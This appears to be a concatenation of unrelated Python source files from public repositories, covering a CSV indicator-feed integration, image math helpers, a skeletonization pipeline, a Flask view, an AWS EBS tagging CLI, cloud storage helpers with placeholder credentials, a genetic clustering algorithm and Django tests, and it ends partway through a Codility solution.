response = r.content.decode('latin-1').split('\n')
if self.ignore_regex is not None:
response = filter(
lambda x: self.ignore_regex.match(x) is None, # type: ignore
response
)
csvreader = csv.DictReader(
response,
fieldnames=self.fieldnames,
**self.dialect # type: ignore
)
return csvreader
def module_test_command(client, args):
fieldnames = argToList(demisto.params().get('fieldnames'))
if len(fieldnames) == 1 or 'indicator' in fieldnames:
client.build_iterator()
return 'ok', {}, {}
return_error('Please provide a column named "indicator" in fieldnames')
def fetch_indicators_command(client, itype):
iterator = client.build_iterator()
indicators = []
for item in iterator:
raw_json = dict(item)
value = item.get('indicator')
if not value and len(item) == 1:
value = next(iter(item.values()))
if value:
raw_json['value'] = value
raw_json['type'] = itype
indicators.append({
"value": value,
"type": itype,
"rawJSON": raw_json,
})
return indicators
def get_indicators_command(client, args):
itype = args.get('indicator_type', demisto.params().get('indicator_type'))
limit = int(args.get('limit'))
indicators_list = fetch_indicators_command(client, itype)
entry_result = camelize(indicators_list[:limit])
hr = tableToMarkdown('Indicators', entry_result, headers=['Value', 'Type', 'Rawjson'])
return hr, {'CSV.Indicator': entry_result}, indicators_list
def main():
params = {k: v for k, v in demisto.params().items() if v is not None}
handle_proxy()
client = Client(**params)
command = demisto.command()
demisto.info('Command being called is {}'.format(command))
# Switch case
commands = {
'test-module': module_test_command,
'get-indicators': get_indicators_command
}
try:
if demisto.command() == 'fetch-indicators':
indicators = fetch_indicators_command(client, params.get('indicator_type'))
# we submit the indicators in batches
for b in batch(indicators, batch_size=2000):
demisto.createIndicators(b)
else:
readable_output, outputs, raw_response = commands[command](client, demisto.args())
return_outputs(readable_output, outputs, raw_response)
except Exception as e:
err_msg = f'Error in {SOURCE_NAME} Integration - Encountered an issue with createIndicators' if \
'failed to create' in str(e) else f'Error in {SOURCE_NAME} Integration [{e}]'
if command == 'fetch-indicators':
raise Exception(err_msg)
else:
return_error(err_msg)
if __name__ == '__builtin__' or __name__ == 'builtins':
main()
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] |
lib/python2.7/site-packages/appionlib/apCtf/circle.py | leschzinerlab/myami-3.2-freeHand | 6 | 119179 | <gh_stars>1-10
#!/usr/bin/env python
import math
import time
import numpy
from appionlib.apImage import imagestat
#===================
# ANGULAR FUNCTIONS
#===================
#===================
class Angular(object):
def __init__(self, shape, xfreq=1.0, yfreq=1.0, center=True, flip=False):
# setup
if center is True:
### distance from center
self.center = numpy.array(shape, dtype=numpy.float64)/2.0 - 0.5
else:
### the upper-left edge
self.center = (-0.5, -0.5)
# function
self.flip = flip
self.xfreq = xfreq
self.yfreq = yfreq
self.angular = numpy.fromfunction(self.arctan, shape, dtype=numpy.float64)
def arctan(self, y, x):
dy = (y - self.center[0])*self.yfreq
dx = (x - self.center[1])*self.xfreq
if self.flip is True:
dy = -1.0*numpy.fliplr(dy)
dx = -1.0*dx
#print "flipping"
#print "dy", dy
#print "dx", dx
angle = numpy.arctan2(dy, dx)
return angle
#===================
def generateAngular1(shape, xfreq, yfreq):
"""
this method is about 2x slower than method 2
"""
t0 = time.time()
a = Angular(shape, xfreq, yfreq)
angular = a.angular
### raw radius from center
#print numpy.around(angular*180/math.pi,1)
print "angular 1 complete in %.4f sec"%(time.time()-t0)
return angular
#===================
def generateAngular2(shape, xfreq, yfreq):
"""
this method is about 2x faster than method 1
"""
t0 = time.time()
if shape[0] % 2 != 0 or shape[1] % 2 != 0:
apDisplay.printError("array shape for radial function must be even")
halfshape = numpy.array(shape)/2.0
a = Angular(halfshape, xfreq, yfreq, center=False, flip=False)
angular1 = a.angular
b = Angular(halfshape, xfreq, yfreq, center=False, flip=True)
angular2 = numpy.fliplr(b.angular)
circular = numpy.vstack(
(numpy.hstack(
(numpy.flipud(angular2), -numpy.flipud(angular1))
),numpy.hstack(
(-angular2, angular1),
)))
### raw radius from center
#print numpy.around(circular*180/math.pi,1)
print "angular 2 complete in %.4f sec"%(time.time()-t0)
return circular
#===================
# RADIAL FUNCTIONS
#===================
#===================
class Radial(object):
def __init__(self, shape, xfreq=1.0, yfreq=1.0, center=True):
# setup
if center is True:
### distance from center
self.center = numpy.array(shape, dtype=numpy.float64)/2.0 - 0.5
else:
### the upper-left edge
self.center = (-0.5, -0.5)
self.xfreqsq = xfreq**2
self.yfreqsq = yfreq**2
# function
self.radial = numpy.fromfunction(self.distance, shape, dtype=numpy.float64)
def distance(self, y, x):
distance = (
(x - self.center[1])**2 * self.xfreqsq
+ (y - self.center[0])**2 * self.yfreqsq
)
return distance
#===================
def generateRadial1(shape, xfreq, yfreq):
"""
this method is about 4x slower than method 2
"""
t0 = time.time()
r = Radial(shape, xfreq, yfreq)
circular = r.radial
### raw radius from center
#print circular
print "radial 1 complete in %.4f sec"%(time.time()-t0)
return circular
#===================
def radiusfunc(x, y):
radiussq = (x + 0.5)**2 + (y + 0.5)**2
return radiussq
#===================
def generateRadial2(shape, xfreq=1.0, yfreq=1.0):
"""
this method is about 4x faster than method 1
"""
t0 = time.time()
print shape
if shape[0] % 2 != 0 or shape[1] % 2 != 0:
apDisplay.printError("array shape for radial function must be even")
halfshape = numpy.array(shape)/2.0
#radial = numpy.fromfunction(radiusfunc, halfshape)
r = Radial(halfshape, xfreq, yfreq, center=False)
radial = r.radial
circular = numpy.vstack(
(numpy.hstack(
(numpy.fliplr(numpy.flipud(radial)), numpy.flipud(radial))
),numpy.hstack(
(numpy.fliplr(radial), radial),
)))
### raw radius from center
#print circular
print "radial 2 complete in %.4f sec"%(time.time()-t0)
return circular
#===================
# GAUSSIAN FUNCTIONS
#===================
#===================
def generateGaussion1(shape, sigma=None):
"""
this method is about 4x slower than method 2
"""
t0 = time.time()
if sigma is None:
sigma = numpy.mean(shape)/4.0
circular = generateRadial1(shape)
circular = numpy.exp(-circular / sigma**2)
print "gaussian 1 complete in %.4f sec"%(time.time()-t0)
return circular
#===================
def generateGaussion2(shape, sigma=None):
"""
this method is about 4x faster than method 1
"""
t0 = time.time()
if sigma is None:
sigma = numpy.mean(shape)/4.0
circular = generateRadial2(shape)
circular = numpy.exp(-circular/sigma**2)
print "gaussian 2 complete in %.4f sec"%(time.time()-t0)
return circular
#===================
#===================
#===================
if __name__ == "__main__":
r = circle.Radial((7,11))
a = r.radial
print numpy.array(numpy.exp(-a/3)*1000, dtype=numpy.uint16)
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] |
publications/leveraging_domain_knowledge/2_false_merge_detection/3_skeletonize.py | constantinpape/cluster_tools | 28 | 171989 | #! /g/kreshuk/pape/Work/software/conda/miniconda3/envs/cluster-new/bin/python
import os
import json
from concurrent import futures
import numpy as np
import luigi
import z5py
import skeletor.io
from cluster_tools.skeletons import SkeletonWorkflow
def check_scale(scale):
path = '/g/kreshuk/data/FIB25/data.n5'
input_key = 'volumes/paintera/multicut/data/s%i' % scale
f = z5py.File(path)
ds = f[input_key]
shape = ds.shape
print(shape)
def skeletonize(scale, target, max_jobs):
path = '/g/kreshuk/data/FIB25/data.n5'
input_key = 'volumes/paintera/multicut/data/s%i' % scale
output_key = 'skeletons/s%i' % scale
config_dir = './configs'
tmp_folder = './tmp_skeletons_%i' % scale
os.makedirs(config_dir, exist_ok=True)
config = SkeletonWorkflow.get_config()
global_config = config['global']
shebang = '#! /g/kreshuk/pape/Work/software/conda/miniconda3/envs/cluster-new/bin/python'
global_config.update({'shebang': shebang})
with open(os.path.join(config_dir, 'global.config'), 'w') as f:
json.dump(global_config, f)
config = config['skeletonize']
config.update({'time_limit': 600, 'mem_limit': 16})
with open(os.path.join(config_dir, 'skeletonize.config'), 'w') as f:
json.dump(config, f)
resolution = [8, 8, 8]
size_threshold = 2000
max_id = z5py.File(path)['volumes/paintera/multicut/data'].attrs['maxId']
task = SkeletonWorkflow(tmp_folder=tmp_folder, config_dir=config_dir,
max_jobs=max_jobs, target=target,
input_path=path, input_key=input_key,
output_path=path, output_key=output_key,
resolution=resolution, size_threshold=size_threshold,
max_id=max_id)
success = luigi.build([task], local_scheduler=True)
assert success
def skeletons_to_volume(scale, n_threads):
path = '/g/kreshuk/data/FIB25/data.n5'
f = z5py.File(path)
seg_key = 'volumes/paintera/multicut/data/s%i' % scale
in_key = 'skeletons/s%i' % scale
out_key = 'skeletons/volumes/s%i' % scale
shape = f[seg_key].shape
chunks = f[seg_key].chunks
seg = np.zeros(shape, dtype='uint64')
ds_in = f[in_key]
def seg_to_vol(seg_id):
nodes, _ = skeletor.io.read_n5(ds_in, seg_id)
if nodes is None:
return
print(seg_id, '/', ds_in.shape[0])
coords = tuple(np.array([node[i] for node in nodes]) for i in range(3))
seg[coords] = seg_id
with futures.ThreadPoolExecutor(n_threads) as tp:
tasks = [tp.submit(seg_to_vol, seg_id) for seg_id in range(ds_in.shape[0])]
[t.result() for t in tasks]
ds_out = f.require_dataset(out_key, shape=shape, chunks=chunks,
compression='gzip', dtype='uint64')
ds_out.n_threads = n_threads
ds_out[:] = seg
if __name__ == '__main__':
# TODO which scale ?
scale = 2
# check_scale(scale)
target = 'local'
max_jobs = 48
# skeletonize(scale, target, max_jobs)
skeletons_to_volume(scale, max_jobs)
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] |
fabrikApi/views/assembly/list.py | demokratiefabrik/fabrikApi | 0 | 23710 | """ Assemblies List View. """
import logging
from datetime import datetime
from cornice.service import Service
from fabrikApi.models.assembly import DBAssembly
from fabrikApi.models.mixins import arrow
# from fabrikApi.util.cors import CORS_LOCATION, CORS_MAX_AGE
logger = logging.getLogger(__name__)
# SERVICES
assemblies = Service(cors_origins=('*',),
name='assemblies',
description='List Assemblies.',
path='/assemblies')
@assemblies.get(permission='public')
def get_assemblies(request):
"""Returns all assemblies which are either public or accessible by the current user.
"""
# load all active assemblies
# TODO: filter only active assemblies
assemblies = request.dbsession.query(DBAssembly).all()
for assembly in assemblies:
# assembly.patch()
assembly.setup_lineage(request)
# show only assemblies with at least view permission.
assemblies = list(
filter(lambda assembly: request.has_public_permission(assembly),
assemblies)
)
assemblies = {v.identifier: v for v in assemblies}
return({
'assemblies': assemblies,
'access_date': arrow.utcnow()
})
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scripts/cloud/aws/ops-ec2-add-snapshot-tag-to-ebs-volumes.py | fahlmant/openshift-tools | 164 | 25638 | #!/usr/bin/env python
# vim: expandtab:tabstop=4:shiftwidth=4
"""
This is a script that can be used to tag EBS volumes in OpenShift v3.
This script assume that your AWS credentials are setup in ~/.aws/credentials like this:
[default]
aws_access_key_id = xxxx
aws_secret_access_key = xxxx
Or that environment variables are setup:
AWS_ACCESS_KEY_ID=xxxx
AWS_SECRET_ACCESS_KEY=xxxx
"""
# Ignoring module name
# pylint: disable=invalid-name
import argparse
import os
import sys
import logging
from logging.handlers import RotatingFileHandler
from openshift_tools.cloud.aws.ebs_snapshotter import SUPPORTED_SCHEDULES, EbsSnapshotter
from openshift_tools.cloud.aws.ebs_util import EbsUtil
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
logFormatter = logging.Formatter('%(asctime)s %(levelname)s %(name)s %(message)s')
logFile = '/var/log/ec2-add-snapshot-tag-to-ebs-volumes.log'
logRFH = RotatingFileHandler(logFile, mode='a', maxBytes=2*1024*1024, backupCount=5, delay=0)
logRFH.setFormatter(logFormatter)
logRFH.setLevel(logging.INFO)
logger.addHandler(logRFH)
logConsole = logging.StreamHandler()
logConsole.setFormatter(logFormatter)
logConsole.setLevel(logging.WARNING)
logger.addHandler(logConsole)
TAGGER_SUPPORTED_SCHEDULES = ['never'] + SUPPORTED_SCHEDULES
ROOT_VOLUME_PURPOSE = "root volume"
DOCKER_VOLUME_PURPOSE = "docker storage volume"
PV_PURPOSE = "customer persistent volume"
class TaggerCli(object):
""" Implements the cli interface to the EBS snapshot tagger. """
def __init__(self):
self.args = None
self.parse_args()
if self.args.verbose:
logConsole.setLevel(logging.INFO)
if self.args.debug:
logConsole.setLevel(logging.DEBUG)
if self.args.skip_boto_logs:
logging.getLogger('boto').setLevel(logging.WARNING)
def parse_args(self):
""" parse the args from the cli """
parser = argparse.ArgumentParser(description='EBS Volume Tagger')
parser.add_argument('--master-root-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that master root volumes ' + \
'should be tagged with.')
parser.add_argument('--node-root-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that node root volumes ' + \
'should be tagged with.')
parser.add_argument('--docker-storage-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that docker storage ' + \
'volumes should be tagged with.')
parser.add_argument('--autoprovisioned-pv-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that autoprovisioned pv ' + \
'volumes should be tagged with.')
parser.add_argument('--manually-provisioned-pv-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that manually provisioned pv ' + \
'volumes should be tagged with.')
parser.add_argument('--unidentified-volumes', choices=TAGGER_SUPPORTED_SCHEDULES,
help='The snapshot schedule that unidentified ' + \
'volumes should be tagged with.')
parser.add_argument('--set-name-tag', action='store_true', default=False,
help='Add the Name tag to volumes of the host where this ' + \
'volume is attached.')
parser.add_argument('--set-purpose-tag', action='store_true', default=False,
help='Add the purpose tag to volumes')
parser.add_argument('--retag-volumes', action='store_true', default=False,
help='Retag volumes that already have a snapshot tag. ' + \
'DANGEROUS - Only do this if you know what you\'re doing!')
parser.add_argument('--aws-creds-profile', required=False,
help='The AWS credentials profile to use.')
parser.add_argument('--dry-run', action='store_true', default=False,
help='Say what would have been done, but don\'t actually do it.')
parser.add_argument('-v', '--verbose', action='store_true', default=None, help='Verbose?')
parser.add_argument('--debug', action='store_true', default=None, help='Debug?')
parser.add_argument('--skip-boto-logs', action='store_true', default=False, help='Skip boto logs')
parser.add_argument('--region', required=True,
help='The region that we want to process snapshots in')
self.args = parser.parse_args()
def set_master_root_volume_tags(self, master_root_vol_ids, ebs_snapshotter, ebs_util):
""" Sets tags on master root volumes """
logger.debug("Setting master root volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(master_root_vol_ids, self.args.master_root_volumes,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_purpose_tag:
ebs_util.set_volume_purpose_tag(master_root_vol_ids, ROOT_VOLUME_PURPOSE,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_name_tag:
ebs_util.set_volume_name_tag(master_root_vol_ids, prefix=" ", dry_run=self.args.dry_run)
def set_node_root_volume_tags(self, node_root_vol_ids, ebs_snapshotter, ebs_util):
""" Sets tags on node root volumes """
logger.debug("Setting node root volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(node_root_vol_ids, self.args.node_root_volumes,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_purpose_tag:
ebs_util.set_volume_purpose_tag(node_root_vol_ids, ROOT_VOLUME_PURPOSE,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_name_tag:
ebs_util.set_volume_name_tag(node_root_vol_ids, prefix=" ", dry_run=self.args.dry_run)
def set_docker_storage_volume_tags(self, docker_storage_vol_ids, ebs_snapshotter, ebs_util):
""" Sets tags on docker storage volumes """
logger.debug("Setting docker storage volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(docker_storage_vol_ids, self.args.docker_storage_volumes,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_purpose_tag:
ebs_util.set_volume_purpose_tag(docker_storage_vol_ids, DOCKER_VOLUME_PURPOSE,
prefix=" ", dry_run=self.args.dry_run)
if self.args.set_name_tag:
ebs_util.set_volume_name_tag(docker_storage_vol_ids, prefix=" ", dry_run=self.args.dry_run)
def set_manually_provisioned_pv_volume_tags(self, manually_provisioned_pv_vol_ids, ebs_snapshotter, ebs_util):
""" Sets tags on manually provisioned pv volumes """
logger.debug("Setting manually provisioned pv volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(manually_provisioned_pv_vol_ids,
self.args.manually_provisioned_pv_volumes,
prefix=" ", dry_run=self.args.dry_run)
# NOTE: not setting Name tag because PVs don't belong to a specific host.
if self.args.set_purpose_tag:
ebs_util.set_volume_purpose_tag(manually_provisioned_pv_vol_ids, PV_PURPOSE,
prefix=" ", dry_run=self.args.dry_run)
def set_autoprovisioned_pv_volume_tags(self, autoprovisioned_pv_vol_ids, ebs_snapshotter, ebs_util):
""" Sets tags on autoprovisioned pv volumes """
logger.debug("Setting autoprovisioned pv volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(autoprovisioned_pv_vol_ids,
self.args.autoprovisioned_pv_volumes,
prefix=" ", dry_run=self.args.dry_run)
# NOTE: not setting Name tag because PVs don't belong to a specific host.
if self.args.set_purpose_tag:
ebs_util.set_volume_purpose_tag(autoprovisioned_pv_vol_ids, PV_PURPOSE,
prefix=" ", dry_run=self.args.dry_run)
def set_unidentified_volume_tags(self, unidentified_vol_ids, ebs_snapshotter):
""" Sets tags on unidentified pv volumes """
logger.debug("Setting unidentified volume tags:")
ebs_snapshotter.set_volume_snapshot_tag(unidentified_vol_ids, self.args.unidentified_volumes,
prefix=" ", dry_run=self.args.dry_run)
# NOTE: not setting purpose tag because volumes are unidentified, so we don't know.
# NOTE: not setting Name tag because we don't know if it makes sense in this context.
def main(self):
""" Serves as the entry point for the CLI """
logger.info('Starting snapshot tagging')
if self.args.aws_creds_profile:
os.environ['AWS_PROFILE'] = self.args.aws_creds_profile
ebs_snapshotter = EbsSnapshotter(self.args.region, verbose=True)
if not ebs_snapshotter.is_region_valid(self.args.region):
logger.info("Invalid region")
sys.exit(1)
else:
logger.info("Region: %s:", self.args.region)
ebs_util = EbsUtil(self.args.region, verbose=True)
ebs_snapshotter = EbsSnapshotter(self.args.region, verbose=True)
# filter out the already tagged volumes
skip_volume_ids = []
if not self.args.retag_volumes:
# They don't want us to retag volumes that are already tagged, so
# add the already tagged volumes to the list of volume IDs to skip.
skip_volume_ids += ebs_snapshotter.get_already_tagged_volume_ids()
logger.info('Skipping this many volume ids: %s', len(skip_volume_ids))
vol_ids = ebs_util.get_classified_volume_ids(skip_volume_ids)
for id_name, id_list in vol_ids._asdict().iteritems():
logger.info('name: %s amount: %s', id_name, len(id_list))
## Actually create the snapshot tags now
if self.args.master_root_volumes and vol_ids.master_root:
self.set_master_root_volume_tags(vol_ids.master_root, ebs_snapshotter, ebs_util)
if self.args.node_root_volumes and vol_ids.node_root:
self.set_node_root_volume_tags(vol_ids.node_root, ebs_snapshotter, ebs_util)
if self.args.docker_storage_volumes and vol_ids.docker_storage:
self.set_docker_storage_volume_tags(vol_ids.docker_storage, ebs_snapshotter, ebs_util)
if self.args.manually_provisioned_pv_volumes and vol_ids.manually_provisioned_pv:
self.set_manually_provisioned_pv_volume_tags(vol_ids.manually_provisioned_pv,
ebs_snapshotter, ebs_util)
if self.args.autoprovisioned_pv_volumes and vol_ids.autoprovisioned_pv:
self.set_autoprovisioned_pv_volume_tags(vol_ids.autoprovisioned_pv, ebs_snapshotter,
ebs_util)
if self.args.unidentified_volumes and vol_ids.unidentified:
self.set_unidentified_volume_tags(vol_ids.unidentified, ebs_snapshotter)
if __name__ == "__main__":
TaggerCli().main()
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dxm/lib/DxConnector/ExtendedConnector.py | experiortec/dxm-toolkit | 5 | 80007 | <reponame>experiortec/dxm-toolkit<gh_stars>1-10
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Copyright (c) 2018 by Delphix. All rights reserved.
#
# Author : <NAME>
# Date : March 2018
# Comments: List of the Database connectors
import logging
from dxm.lib.DxConnector.DxConnector import DxConnector
from dxm.lib.DxLogging import print_error
from dxm.lib.DxLogging import print_message
from dxm.lib.DxJDBC.DxJDBCList import DxJDBCList
class ExtendedConnector(DxConnector):
def __init__(self, engine):
"""
Constructor
:param engine: DxMaskingEngine object
"""
DxConnector.__init__(self, engine)
self.__engine = engine
self.__logger = logging.getLogger()
self.__logger.debug("creating ExtendedConnector object")
self.__jdbclist = DxJDBCList()
def get_type_properties(self):
"""
Return dict with properties specific for connector type
"""
driver_obj = self.__jdbclist.get_by_ref(self.jdbc_driver_id)
if driver_obj is None:
driver_name = driver_obj.jdbc_driver_id
else:
driver_name = driver_obj.driver_name
props = {
'username': self.username,
'jdbc_driver_name': driver_name,
'jdbc': self.jdbc
}
return props
def get_properties(self):
"""
Return dict with properties required for connector type
"""
props = {
'jdbc': self.jdbc,
'username': self.username,
'schema_name': self.schema_name,
'connector_name': self.connector_name,
'password': <PASSWORD>,
'database_type': self.database_type,
'environment_id': self.environment_id,
'jdbc_driver_id': self.jdbc_driver_id
}
empty = 0
for k in props.keys():
if (props[k] is None):
print_error("Property %s can't be empty" % k)
empty = empty + 1
if empty == 0:
return props
else:
return None
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src/image/video/__init__.py | fronovics/AI_playground | 0 | 142772 | <filename>src/image/video/__init__.py
from src.image.video.video_loop import VideoLoop
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genetic.py | AHDiniz/AI-2020-02-Assignment-2 | 0 | 41643 | #!/usr/bin/python3.8
import time
import copy
import random
import numpy as np
import clustering as clt
class HyperParams:
def __init__(self, population_size : int, crossover_rate : float, mutation_rate : float):
self._population_size = population_size
self._crossover_rate = crossover_rate
self._mutation_rate = mutation_rate
@property
def population_size(self) -> int:
return self._population_size
@property
def crossover_rate(self) -> float:
return self._crossover_rate
@property
def mutation_rate(self) -> float:
return self._mutation_rate
class Population:
def __init__(self, k : int, size : int, clusters : clt.Clusters):
self._size = size
self._instances : list = []
self._k : int = k
self._point_dim : tuple = clusters.point_dim
for i in range(size):
self._instances.append(clt.Clusters(clusters.k, clusters.points))
self._instances[i].initialize_state()
@property
def instances(self) -> list:
return self._instances
def mutate(self, instance : int):
self._instances[instance].disturb()
self._instances[instance].accept_disturbed()
def crossover(self, a : int, b : int) -> clt.Clusters:
offspring : clt.Clusters = clt.Clusters(self._instances[a].k, self._instances[a].points)
divide : int = self._k // 2 if self._k <= 3 else random.randint(1, self._k - 2)
centroids : list = list([])
for i in range(self._k):
centroids.append(self._instances[a].centroids[i] if i < divide else self._instances[b].centroids[i])
offspring.initialize_state(centroids)
return offspring
def adaptation(self, instance : int) -> float:
sse_sum : float = 0
for i in range(self._size):
sse_sum += self._instances[i].sse
return self._instances[i].sse / sse_sum
def instance_value(self, instance : int) -> float:
return self._instances[instance].sse
def coverging(self) -> bool:
s : float = self._instances[0].sse
for i in range(1, self._size):
if abs(s - self._instances[i].sse) > .000000001:
return False
return True
def set_instance(self, instance : int, clusters : clt.Clusters):
self._instances[instance] = clusters
def set_instances(self, instances : list):
for i in range(self._size):
self._instances[i] = instances[i]
def genetic(hyper_params : HyperParams, clusters : clt.Clusters, population : Population = None) -> (float, clt.Clusters):
population = Population(clusters.k, hyper_params.population_size, clusters) if population == None else population
while not population.coverging():
population_indices : list = range(0, hyper_params.population_size)
probabilities : list = list(map(population.adaptation, population_indices))
values : list = list(map(population.instance_value, population_indices))
a : int = random.choices(population_indices, probabilities, k = 1)[0]
b : int = random.choices(population_indices, probabilities, k = 1)[0]
if random.random() < hyper_params.crossover_rate:
offspring : clt.Clusters = population.crossover(a, b)
max_value : float = max(values)
if offspring.sse < max_value:
population.set_instance(values.index(max_value), offspring)
result : float = min(map(population.instance_value, range(0, hyper_params.population_size)))
result_instace : clt.Clusters = None
for instance in population.instances:
if instance.sse == result:
result_instace = instance
return (result, result_instace) | [
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wagtail/core/tests/test_comments.py | brownaa/wagtail | 8,851 | 92627 | <reponame>brownaa/wagtail
from django.contrib.auth import get_user_model
from django.test import TestCase
from wagtail.core.models import Comment, Page
class CommentTestingUtils:
def setUp(self):
self.page = Page.objects.get(title="Welcome to the Wagtail test site!")
self.revision_1 = self.page.save_revision()
self.revision_2 = self.page.save_revision()
def create_comment(self, revision_created):
return Comment.objects.create(
page=self.page,
user=get_user_model().objects.first(),
text='test',
contentpath='title',
revision_created=revision_created,
)
class TestRevisionDeletion(CommentTestingUtils, TestCase):
fixtures = ['test.json']
def setUp(self):
super().setUp()
self.revision_3 = self.page.save_revision()
self.old_comment = self.create_comment(self.revision_1)
self.new_comment = self.create_comment(self.revision_3)
def test_deleting_old_revision_moves_comment_revision_created_forwards(self):
# test that when a revision is deleted, a comment linked to it via revision_created has its revision_created moved
# to the next revision
self.revision_1.delete()
self.old_comment.refresh_from_db()
self.assertEqual(self.old_comment.revision_created, self.revision_2)
def test_deleting_most_recent_revision_deletes_created_comments(self):
# test that when the most recent revision is deleted, any comments created on it are also deleted
self.revision_3.delete()
with self.assertRaises(Comment.DoesNotExist):
self.new_comment.refresh_from_db()
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] |
src/routes/web.py | enflo/weather-flask | 0 | 6999 | <gh_stars>0
from flask import Blueprint, render_template
from gateways.models import getWeatherData
web = Blueprint("web", __name__, template_folder='templates')
@web.route("/", methods=['GET'])
def home():
items = getWeatherData.get_last_item()
cityName = items["city"]
return render_template("index.html",
city=cityName[0],
temperature=items["temperature"],
humidity=items["humidity"],
pressure=items["pressure"])
#@web.route("/profile", methods=['GET'])
#def profile():
# items = getWeatherData.get_last_item()
# return render_template("profile.html",
# celcius=items["temperature"],
# humidity=items["humidity"],
# pressure=items["pressure"])
#@web.route("/about", methods=['GET'])
#def about():
# return render_template("about.html")
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lino_xl/lib/reception/__init__.py | khchine5/xl | 1 | 12522 | <reponame>khchine5/xl<gh_stars>1-10
# -*- coding: UTF-8 -*-
# Copyright 2013-2016 <NAME>
#
# License: BSD (see file COPYING for details)
"""This module is for managing a reception desk and a waiting queue:
register clients into a waiting queue as they present themselves at a
reception desk (Empfangsschalter), and unregister them when they leave
again.
It depends on :mod:`lino_xl.lib.cal`. It does not add any model, but
adds some workflow states, actions and tables.
Extended by :mod:`lino_welfare.modlib.reception`.
.. autosummary::
:toctree:
models
workflows
"""
from lino.api import ad, _
class Plugin(ad.Plugin):
"See :class:`lino.core.Plugin`."
verbose_name = _("Reception")
needs_plugins = ['lino.modlib.system', 'lino_xl.lib.cal']
required_user_groups = 'reception'
"""The required user groups for viewing actors of this plugin.
This is overridden by Lino Welfare to include "coaching".
This way of configuring permissions is an example for why it would
be useful to replace user groups by a UserType class (and to
populate UserTypes with subclasses of it).
"""
def setup_main_menu(config, site, user_type, m):
app = site.plugins.reception
m = m.add_menu(app.app_name, app.verbose_name)
m.add_action('cal.EntriesByDay')
m.add_action('reception.WaitingVisitors')
m.add_action('reception.BusyVisitors')
m.add_action('reception.GoneVisitors')
# MyWaitingVisitors is maybe not needed as a menu entry since it
# is also a get_dashboard_items. if i remove it then i must edit
# `pcsw_tests.py`. Waiting for user feedback before doing this.
m.add_action('reception.MyWaitingVisitors')
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python/fedml/cli/comm_utils/remote_storage.py | ray-ruisun/FedML | 0 | 126495 | import os
import boto3
from python.fedml.utils import logging
from python.fedml.utils.logging import logger
BUCKET_NAME = "fedmls3"
# aws_access_key_id、aws_secret_access_key、region
CN_S3_AKI = ''
CN_S3_SAK = ''
CN_REGION_NAME = 'us-east-1'
# s3 client
s3 = boto3.client('s3', region_name=CN_REGION_NAME,
aws_access_key_id=CN_S3_AKI, aws_secret_access_key=CN_S3_SAK)
@logger.catch
def upload_file(src_local_path, dest_s3_path):
"""
upload file
:param src_local_path:
:param dest_s3_path:
:return:
"""
try:
with open(src_local_path, 'rb') as f:
s3.upload_fileobj(f, BUCKET_NAME, dest_s3_path)
except Exception as e:
logging.error(f'Upload data failed. | src: {src_local_path} | dest: {dest_s3_path} | Exception: {e}')
return False
logging.info(f'Uploading file successful. | src: {src_local_path} | dest: {dest_s3_path}')
return True
def download_file(path_s3, path_local):
"""
download file
:param path_s3: s3 key
:param path_local: local path
:return:
"""
retry = 0
while retry < 3:
logging.info(f'Start downloading files. | path_s3: {path_s3} | path_local: {path_local}')
try:
s3.download_file(BUCKET_NAME, path_s3, path_local)
file_size = os.path.getsize(path_local)
logging.info(f'Downloading completed. | size: {round(file_size / 1048576, 2)} MB')
break
except Exception as e:
logging.error(f'Download zip failed. | Exception: {e}')
retry += 1
if retry >= 3:
logging.error(f'Download zip failed after max retry.')
@logger.catch
def delete_s3_zip(path_s3):
"""
delete s3 object
:param path_s3: s3 key
:return:
"""
s3.delete_object(Bucket=BUCKET_NAME, Key=path_s3)
logging.info(f'Delete s3 file Successful. | path_s3 = {path_s3}')
if __name__ == "__main__":
upload_file("./s3_test_file", "run_id_000001/client_id_s3_test_file")
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] |
database/repositories/ModelBlobRepository.py | roblkenn/EECS441-Backend | 0 | 34472 | <filename>database/repositories/ModelBlobRepository.py
from azure.storage.blob.baseblobservice import BaseBlobService
from azure.storage.blob.blockblobservice import BlockBlobService
from database.models.Blob import Blob
class ModelBlobRepository:
def __init__(self):
self.blockBlobService = BlockBlobService(account_name='stylesblobstorage', account_key='<KEY>')
self.blobService = BaseBlobService(account_name='stylesblobstorage', account_key='<KEY>')
self.containerName = 'models'
def create(self, modelBytes, userId):
self.blockBlobService.create_blob_from_text(self.containerName, userId, modelBytes)
return userId
def read(self, blobName):
blob = self.blobService.get_blob_to_text(self.containerName, blobName)
return Blob(blob)
def delete(self, blobName):
return self.blobService.delete_blob(self.containerName, blobName)
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datasets/__init__.py | bomtorazek/LateTemporalModeling3DCNN | 3 | 107858 | <gh_stars>1-10
from .ucf101 import ucf101
from .hmdb51 import hmdb51
from .cvpr import cvpr
from .cvpr_le import cvpr_le
__all__ = ('ucf101','hmdb51', 'cvpr', 'cvpr_le')
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] |
Codility/CyclicRotation.py | royn5618/ProgrammingPractice | 0 | 112862 | # Challenge Link - https://app.codility.com/programmers/lessons/2-arrays/cyclic_rotation/
# My Results - https://app.codility.com/demo/results/trainingFGAZZW-5XB/
def solution(A, K):
# write your code in Python 3.6
if not A:
return []
idx = [i for i in range(0, len(A))]
while K:
idx = [i + 1 for i in idx]
max_index = idx.index(max(idx))
